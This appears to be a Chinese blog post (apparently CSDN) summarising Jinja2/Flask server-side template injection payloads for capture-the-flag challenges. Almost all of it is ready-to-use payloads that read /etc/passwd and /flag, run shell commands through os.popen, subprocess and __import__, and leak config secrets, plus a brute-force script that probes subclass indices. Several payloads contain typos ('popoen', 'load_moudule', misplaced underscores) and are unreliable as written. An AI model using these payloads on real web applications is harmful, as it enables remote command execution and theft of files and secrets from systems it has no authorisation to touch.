写在前面:
(1)下面payload中的__mro__[2]有时候需要换成__base__ (但是我遇到的还是前者多些),具体用哪个取决于题目环境的实际情况;
(2)payload中的xx代表我们所要利用的类或者函数所在位置,即我们通过脚本跑出来的类或者函数所在的位置;
(3)关于爆破的脚本请参考我前面的博客【http://t.csdn.cn/ygvBK】,这里主要是总结payload 。
一、查找函数位置,利用函数实现
1、利用file函数进行读取
{{''.__class__.__mro__[2].__subclasses__()[xx].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()}}
2、利用内嵌函数eval进行命令执行
{{''.__class__.__mro__[2].__subclasses__()[xx].__init__.__globals__['__builtins__']['eval']('__i
3、利用linecache函数进行命令执行
{{''.__class__.__mro__[2]__.__subclasses__()[xx].__init__.__globals__['linecache']['os'].popen('ls').read()}}
二、查找类的位置,利用类下的函数实现
1、利用_frozen_importlib_external.FileLoader类
(该类下的get_data函数进行读取)
{{''.__class__.__mro__[2].__subclasses__()[xx]["get_data"](0,"/etc/passwd")}}
2、利用importlib类进行命令执行
(该类下的load_module可以引用os)
{{''.__class__.__mro__[2]__.__subclasses__()[xx]['load_moudule']("os")["popen"]("ls").read()}}
3、利用subprocess.Popen类进行命令执行
{{''.__class__.__mro[2]__.__subclasses__()[xx]('ls',shell=True,stdout=-1).communicate()[0].strip()}}
三、利用os模块进行命令执行
即在其他函数中直接掉用os模块来执行os.popen()
1、利用config
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
2、利用url_for
{{url_for.__globals__['os'].popen('ls').read()}} cycler {{cycler.__init__.__globals__.os.popen('id').read()}} joiner {{joiner.__init__.__globals__.os.popen('id').read()}} namespace {{namespace.__init__.__globals__.os.popen('id').read()}}
3、利用子类的os模块
查找含有os模块的子类:
import requests url = "" for i in range(500): data = { "parms": "{{''.__class__.__mro__[2]__.__subclasses__()[{}].__init__.__globals__}}".format(str(i)) }#传入的参数,根据事实情况更改参数的名称 try: re = requests.get(url=url,params=data).text if 'os.py' in re: print(i,data["parms"]) except: pass
{{''.__class__.__mro__[2]__.__subclasses__()[xx].__init__.__globals__['os'].popoen('ls').read()}}
四、关于其他的利用
1、利用lipsum执行命令
{{lipsum.__globals__['os']['popen']('ls').read()}}
2、读取配置文件中的FLAG
{{url_for.__globals__['current_app'].config.FLAG}} {{get_flashed_messages.__globals__['current_app'].config.FLAG}}
3、利用warnings.catch_warnings 进行命令执行
[c for c in ().__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').popen('whoami').read()
4、利用 _ _ import _ _ 进行命令执行
{}.__class__.__bases__[0].__subclasses__()[xx].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('ls') {}.__class__.__bases__[0].__subclasses__()[xx].__init__.__globals__['__builtins__']['__import__']('os').system('ls') {}.__class__.__bases__[0].__subclasses__()[xx].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
5、 利用任意字符串或特殊变量
{{sss.__init__.__globals__.__builtins__.open("/flag").read()}} {{config.__class__.__init__.__globals__['os'].popen('ls').read()}} {{request.application.__globals__['__builtins__']['__import__']('os').popen('ls').read()}}
可以看到上面很多payload中都有popen函数,实质还是对popen函数的利用,因此我们在使用脚本爆破时一定要尝试popen函数。